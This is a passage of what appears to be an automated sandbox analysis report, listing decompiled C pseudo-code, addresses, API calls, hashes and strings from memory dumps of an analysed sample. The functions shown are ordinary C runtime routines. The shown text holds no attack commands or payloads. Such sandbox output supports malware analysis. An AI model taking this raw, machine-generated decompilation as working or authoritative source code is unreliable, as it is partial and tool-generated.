						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E0040E9F8(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x0040f85d
0x0040f907
0x0040f865
0x0040f867
0x0040f86e
0x0040f870
0x0040f876
0x0040f883
0x0040f898
0x0040f89c
0x0040f8ee
0x0040f8ee
0x0040f8f3
0x0040f8f7
0x0040f8fa
0x0040f8fa
0x0040f900
0x0040f902
0x0040f917
0x0040f912
0x0040f916
0x0040f916
0x0040f904
0x0040f904
0x00000000
0x0040f904
0x0040f89e
0x0040f8a7
0x0040f8de
0x0040f8de
0x0040f8e0
0x0040f8e2
0x00000000
0x00000000
0x0040f8ea
0x00000000
0x0040f8ea
0x0040f8b1
0x0040f8b6
0x0040f8bb
0x00000000
0x00000000
0x0040f8c5
0x0040f8ca
0x0040f8cf
0x00000000
0x00000000
0x0040f8d4
0x0040f8da
0x00000000
0x0040f8da
0x0040f87b
0x00000000
0x00000000
0x00000000
0x0040f881
0x0040f910
0x00000000

Strings

api-ms-, xrefs: 0040F8AB
ext-ms-, xrefs: 0040F8BF

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 8aa412021871e427515ac44f59de5816db6afee6ba5c7809f3ab564d503202eb
Instruction ID: 284e1d6895daf58d0312b435379d31ed217f411247863146616418683af2e2e0
Opcode Fuzzy Hash: 8aa412021871e427515ac44f59de5816db6afee6ba5c7809f3ab564d503202eb
Instruction Fuzzy Hash: F42138B2E00224BBCB31A7259C40B9B3718AF01764F204132EC15B77D0D738DD09C2E8

Uniqueness

Uniqueness Score: -1.00%

Function 00417660 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00417660(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E004173AC(_t45, 7);
					E004173AC(_t45 + 0x1c, 7);
					E004173AC(_t45 + 0x38, 0xc);
					E004173AC(_t45 + 0x68, 0xc);
					E004173AC(_t45 + 0x98, 2);
					E0040F644( *((intOrPtr*)(_t45 + 0xa0)));
					E0040F644( *((intOrPtr*)(_t45 + 0xa4)));
					E0040F644( *((intOrPtr*)(_t45 + 0xa8)));
					E004173AC(_t45 + 0xb4, 7);
					E004173AC(_t45 + 0xd0, 7);
					E004173AC(_t45 + 0xec, 0xc);
					E004173AC(_t45 + 0x11c, 0xc);
					E004173AC(_t45 + 0x14c, 2);
					E0040F644( *((intOrPtr*)(_t45 + 0x154)));
					E0040F644( *((intOrPtr*)(_t45 + 0x158)));
					E0040F644( *((intOrPtr*)(_t45 + 0x15c)));
					return E0040F644( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00417666
0x0041766b
0x00417674
0x0041767f
0x0041768a
0x00417695
0x004176a3
0x004176ae
0x004176b9
0x004176c4
0x004176d2
0x004176e0
0x004176f1
0x004176ff
0x0041770d
0x00417718
0x00417723
0x0041772e
0x00000000
0x0041773e
0x00417743

APIs

Part of subcall function 004173AC: _free.LIBCMT ref: 004173D1

_free.LIBCMT ref: 004176AE

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

_free.LIBCMT ref: 004176B9
_free.LIBCMT ref: 004176C4
_free.LIBCMT ref: 00417718
_free.LIBCMT ref: 00417723
_free.LIBCMT ref: 0041772E
_free.LIBCMT ref: 00417739

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bbe1b81afa54fa729c4b94cd5c7f81df5b11d530985a2a506289b353cf17ce09
Instruction ID: af7d0fc197020d43e736683f90d157e0575fe43de6955595ab6d8f71bb411a13
Opcode Fuzzy Hash: bbe1b81afa54fa729c4b94cd5c7f81df5b11d530985a2a506289b353cf17ce09
Instruction Fuzzy Hash: 4F112E71544B08AAD530BB72DC47FCB77AC5F01708F40083ABAADA60A2DA79B5499658

Uniqueness

Uniqueness Score: -1.00%

Function 02717AC7 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02717813: _free.LIBCMT ref: 02717838

_free.LIBCMT ref: 02717B15

Part of subcall function 0270FAAB: HeapFree.KERNEL32(00000000,00000000,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?), ref: 0270FAC1
Part of subcall function 0270FAAB: GetLastError.KERNEL32(?,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?,?), ref: 0270FAD3

_free.LIBCMT ref: 02717B20
_free.LIBCMT ref: 02717B2B
_free.LIBCMT ref: 02717B7F
_free.LIBCMT ref: 02717B8A
_free.LIBCMT ref: 02717B95
_free.LIBCMT ref: 02717BA0

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bbe1b81afa54fa729c4b94cd5c7f81df5b11d530985a2a506289b353cf17ce09
Instruction ID: bc0c54b0d9d570cd185605338096bb0d35b74d37ac11692db54bf4db42661a3f
Opcode Fuzzy Hash: bbe1b81afa54fa729c4b94cd5c7f81df5b11d530985a2a506289b353cf17ce09
Instruction Fuzzy Hash: 52116D71541B04EEE732F7B4CC4AFDBBBDF5F45700F408C15A299668A0DB24A5088B91

Uniqueness

Uniqueness Score: -1.00%

Function 004030A9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004030A9(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t36;
				void* _t41;
				intOrPtr* _t64;
				intOrPtr* _t75;
				intOrPtr* _t76;
				void* _t78;

				_t71 = __edx;
				_t58 = __ebx;
				_push(8);
				E00404D7B(0x41c487, __ebx, __edi, __esi);
				E00402A53(_t78 - 0x14, 0);
				_t75 =  *0x4579e0; // 0x0
				 *(_t78 - 4) =  *(_t78 - 4) & 0x00000000;
				 *((intOrPtr*)(_t78 - 0x10)) = _t75;
				_t36 = E00401735( *((intOrPtr*)(_t78 + 8)), E004016A4(__ebx, 0x4578fc, __edx, __edi));
				_t73 = _t36;
				if(_t36 != 0) {
					L5:
					E00402AAB(_t78 - 0x14);
					return E00404D49(_t73);
				} else {
					if(_t75 == 0) {
						_push( *((intOrPtr*)(_t78 + 8)));
						_push(_t78 - 0x10);
						_t41 = E004035D8(__ebx, _t73, _t75, __eflags);
						_pop(_t64);
						__eflags = _t41 - 0xffffffff;
						if(__eflags == 0) {
							E0040157A();
							asm("int3");
							_push(8);
							E00404D7B(0x41c4c5, __ebx, _t73, _t75);
							_t76 = _t64;
							 *((intOrPtr*)(_t78 - 0x14)) = _t76;
							 *((intOrPtr*)(_t78 - 0x10)) = 0;
							__eflags =  *((intOrPtr*)(_t78 + 0x10));
							if( *((intOrPtr*)(_t78 + 0x10)) != 0) {
								 *_t76 = 0x41d38c;
								 *((intOrPtr*)(_t76 + 0x10)) = 0;
								 *((intOrPtr*)(_t76 + 0x30)) = 0;
								 *((intOrPtr*)(_t76 + 0x34)) = 0;
								 *((intOrPtr*)(_t76 + 0x38)) = 0;
								 *((intOrPtr*)(_t76 + 8)) = 0x41d380;
								 *(_t78 - 4) = 0;
								 *((intOrPtr*)(_t78 - 0x10)) = 1;
							}
							 *((intOrPtr*)(_t76 +  *((intOrPtr*)( *_t76 + 4)))) = 0x41d388;
							_t28 =  *((intOrPtr*)( *_t76 + 4)) - 8; // -8
							 *((intOrPtr*)( *((intOrPtr*)( *_t76 + 4)) + _t76 - 4)) = _t28;
							__eflags =  *((intOrPtr*)( *_t76 + 4)) + _t76;
							E00403A95(_t58,  *((intOrPtr*)( *_t76 + 4)) + _t76, _t71, _t73,  *((intOrPtr*)( *_t76 + 4)) + _t76,  *((intOrPtr*)(_t78 + 8)),  *((intOrPtr*)(_t78 + 0xc)));
							return E00404D49(_t76);
						} else {
							_t73 =  *((intOrPtr*)(_t78 - 0x10));
							 *((intOrPtr*)(_t78 - 0x10)) = _t73;
							 *(_t78 - 4) = 1;
							E00402D57(__eflags, _t73);
							 *0x41d130();
							 *((intOrPtr*)( *((intOrPtr*)( *_t73 + 4))))();
							 *0x4579e0 = _t73;
							goto L5;
						}
					} else {
						_t73 = _t75;
						goto L5;
					}
				}
			}

0x004030a9
0x004030a9
0x004030a9
0x004030b0
0x004030ba
0x004030bf
0x004030ca
0x004030ce
0x004030da
0x004030df
0x004030e3
0x00403128
0x0040312b
0x00403137
0x004030e5
0x004030e7
0x004030ed
0x004030f3
0x004030f4
0x004030fa
0x004030fb
0x004030fe
0x00403138
0x0040313d
0x0040313e
0x00403145
0x0040314a
0x0040314c
0x00403151
0x00403154
0x00403157
0x00403159
0x0040315f
0x00403162
0x00403165
0x00403168
0x0040316b
0x00403172
0x00403175
0x00403175
0x00403187
0x00403193
0x00403196
0x0040319f
0x004031a1
0x004031ad
0x00403100
0x00403100
0x00403103
0x00403107
0x0040310b
0x00403118
0x00403120
0x00403122
0x00000000
0x00403122
0x004030e9
0x004030e9
0x00000000
0x004030e9
0x004030e7

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004030BA

Part of subcall function 004016A4: std::_Lockit::_Lockit.LIBCPMT ref: 004016C0
Part of subcall function 004016A4: std::_Lockit::~_Lockit.LIBCPMT ref: 004016DC

codecvt.LIBCPMT ref: 004030F4
std::_Facet_Register.LIBCPMT ref: 0040310B
std::_Lockit::~_Lockit.LIBCPMT ref: 0040312B
Concurrency::cancel_current_task.LIBCPMT ref: 00403138

Strings

Z7@, xrefs: 00403118

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID: Z7@
API String ID: 3595785899-2024903632
Opcode ID: 8a5ddc8515b1a5c99069406aca747f9002b7ec2f70a7edc4c2f1abbaf981f0f3
Instruction ID: 2b7388cdb13551d6e77e0e7dad8e1cb417e3859a9dbb0520a949e189e90edccb
Opcode Fuzzy Hash: 8a5ddc8515b1a5c99069406aca747f9002b7ec2f70a7edc4c2f1abbaf981f0f3
Instruction Fuzzy Hash: 7901C071900215ABCB00EFA59856AAE7B74AF84319F24443FE8107B2D1CF7C9E028B98

Uniqueness

Uniqueness Score: -1.00%

Function 02703510 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 02703521

Part of subcall function 02701B0B: std::_Lockit::_Lockit.LIBCPMT ref: 02701B27
Part of subcall function 02701B0B: std::_Lockit::~_Lockit.LIBCPMT ref: 02701B43

codecvt.LIBCPMT ref: 0270355B
std::_Facet_Register.LIBCPMT ref: 02703572
std::_Lockit::~_Lockit.LIBCPMT ref: 02703592
Concurrency::cancel_current_task.LIBCPMT ref: 0270359F

Strings

Z7@, xrefs: 0270357F

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID: Z7@
API String ID: 3595785899-2024903632
Opcode ID: 8d74a60efd1c9b296ab5d672ceba849d613cf93b2ece858d3ca3ef04be2dbf86
Instruction ID: 25986f77fef90e6c1cbfb55b24901144ccb1ab9072b36516cf15f972a23dea0a
Opcode Fuzzy Hash: 8d74a60efd1c9b296ab5d672ceba849d613cf93b2ece858d3ca3ef04be2dbf86
Instruction Fuzzy Hash: B701C076900225DBCB02EBA4D8D86BE77F2BF48310F644559E814A73D0DF349E098F94

Uniqueness

Uniqueness Score: -1.00%

Function 0040C464 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E0040C464(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x41d130(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x0040c46a
0x0040c46e
0x0040c479
0x0040c481
0x0040c48c
0x0040c492
0x0040c496
0x0040c49d
0x0040c4a3
0x0040c4a3
0x0040c4a5
0x0040c4aa
0x00000000
0x0040c4af
0x0040c4b6

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040C416,?,?,0040C3DE,00000000,00000000,?), ref: 0040C479
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040C48C
FreeLibrary.KERNEL32(00000000,?,?,0040C416,?,?,0040C3DE,00000000,00000000,?), ref: 0040C4AF

Strings

CorExitProcess, xrefs: 0040C484
mscoree.dll, xrefs: 0040C472
Z7@, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$Z7@$mscoree.dll
API String ID: 4061214504-3244128130
Opcode ID: 51b8d3364453b1c55d6621eb6d9ee93724dcdcddcf598886963687923cd32b9d
Instruction ID: b820d426e9e852ef652b694f7a7955bac535819a0844058358509564fdcbc7b0
Opcode Fuzzy Hash: 51b8d3364453b1c55d6621eb6d9ee93724dcdcddcf598886963687923cd32b9d
Instruction Fuzzy Hash: 90F05870A00618FBDB119F50DD09BEEBEA9AB04769F108072A805A21A0DB788E05DA98

Uniqueness

Uniqueness Score: -1.00%

Function 004115FD Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E004115FD(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x42c014; // 0xee6350c6
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x4582c0 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E0040B314( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x4582c0 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x42c960; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x4582c0 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E00419831( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x42c960)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x4582c0 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E004056D0( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x4582c0 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E00419831( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E004150F1(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E0040AD95(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push(1);
								_push(_t269);
								goto L26;
							} else {
								_t202 =  &(_t269[1]);
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x4582c0 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x4582c0 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x4582c0 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E00410932( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E00410932();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E00404A89(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x00411608
0x0041160f
0x00411612
0x0041161a
0x0041161d
0x0041162a
0x0041162d
0x00411630
0x00411637
0x0041163f
0x00411642
0x00411645
0x0041164b
0x0041164d
0x00411654
0x0041165e
0x00411660
0x00411663
0x00411666
0x00411669
0x0041166c
0x0041166f
0x00411675
0x00411980
0x00411980
0x00000000
0x0041167b
0x00411683
0x00411686
0x0041168c
0x0041168f
0x00411696
0x0041169d
0x004116a0
0x00000000
0x00000000
0x004116a9
0x004116ae
0x004116b0
0x004116b3
0x004116b8
0x004116bc
0x00000000
0x00000000
0x00000000
0x004116bc
0x004116c1
0x004116c3
0x004116c8
0x00411782
0x00411789
0x0041178a
0x0041178d
0x0041178f
0x00411933
0x00411935
0x00000000
0x00411937
0x00411937
0x0041193a
0x00411949
0x0041194d
0x0041194e
0x0041194e
0x00000000
0x00411952
0x00411795
0x00411797
0x0041179d
0x004117a0
0x004117ac
0x004117b5
0x004117c0
0x004117c5
0x004117c8
0x004117cb
0x00000000
0x004117d1
0x004117d1
0x00000000
0x004117d1
0x004117cb
0x004116ce
0x004116dd
0x004116de
0x004116e1
0x004116e4
0x004116e9
0x004118ff
0x00411901
0x00411903
0x00411905
0x0041190f
0x00411917
0x00411919
0x0041191a
0x0041191e
0x00411921
0x00411921
0x00411925
0x00411925
0x00411925
0x00411928
0x00411928
0x00411928
0x0041192a
0x0041192a
0x0041192e
0x004116ef
0x004116ef
0x004116f2
0x004116f4
0x004116f7
0x004116fa
0x004116fe
0x004116ff
0x00411703
0x00411706
0x0041170b
0x00411715
0x0041171a
0x0041171d
0x00411720
0x00411720
0x00411723
0x00411726
0x00411728
0x00411731
0x00411735
0x00411736
0x0041173a
0x00411740
0x00411749
0x00411756
0x0041175d
0x00411761
0x0041176c
0x00411771
0x00411777
0x00000000
0x0041177d
0x004117d4
0x004117d5
0x00411858
0x0041185f
0x00411867
0x0041186f
0x00411874
0x00411877
0x0041187c
0x00000000
0x00411882
0x00411897
0x00411977
0x0041197d
0x00000000
0x0041189d
0x004118a6
0x004118a8
0x004118ae
0x00000000
0x004118b4
0x004118b8
0x004118ee
0x004118f1
0x00000000
0x004118f7
0x004118f7
0x00000000
0x004118f7
0x004118ba
0x004118bc
0x004118be
0x004118d7
0x00000000
0x004118dd
0x004118e1
0x00000000
0x004118e7
0x004118e7
0x004118ea
0x004118eb
0x00000000
0x004118eb
0x004118e1
0x004118d7
0x004118b8
0x004118ae
0x00411897
0x0041187c
0x00411777
0x004116e9
0x00000000
0x004117d9
0x004117d9
0x004117dd
0x004117e0
0x00411802
0x00411805
0x0041180a
0x0041180e
0x00411812
0x00411840
0x00411842
0x00000000
0x00411814
0x00411814
0x00411817
0x0041181a
0x0041181d
0x00411954
0x00411957
0x0041195a
0x00411964
0x0041196f
0x00411974
0x00000000
0x00411823
0x0041182a
0x0041182f
0x00411832
0x00411835
0x00000000
0x0041183b
0x0041183b
0x00000000
0x0041183b
0x00411835
0x0041181d
0x004117e2
0x004117e6
0x004117e9
0x004117ee
0x004117f4
0x004117f6
0x004117fd
0x00411843
0x00411846
0x00411847
0x0041184c
0x0041184f
0x00411852
0x00000000
0x00000000
0x00000000
0x00000000
0x00411852
0x00000000
0x004117e0
0x0041167b
0x00411983
0x00411983
0x00411985
0x00411988
0x00411988
0x00411988
0x00411988
0x0041199a
0x0041199c
0x0041199d
0x0041199e
0x004119a8

APIs

GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00411645
__fassign.LIBCMT ref: 0041182A
__fassign.LIBCMT ref: 00411847
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041188F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004118CF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411977

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 0c6d842a29b7fbd5522128a9102ef7a0db9ea7557437860fec6e8ebec7c599a2
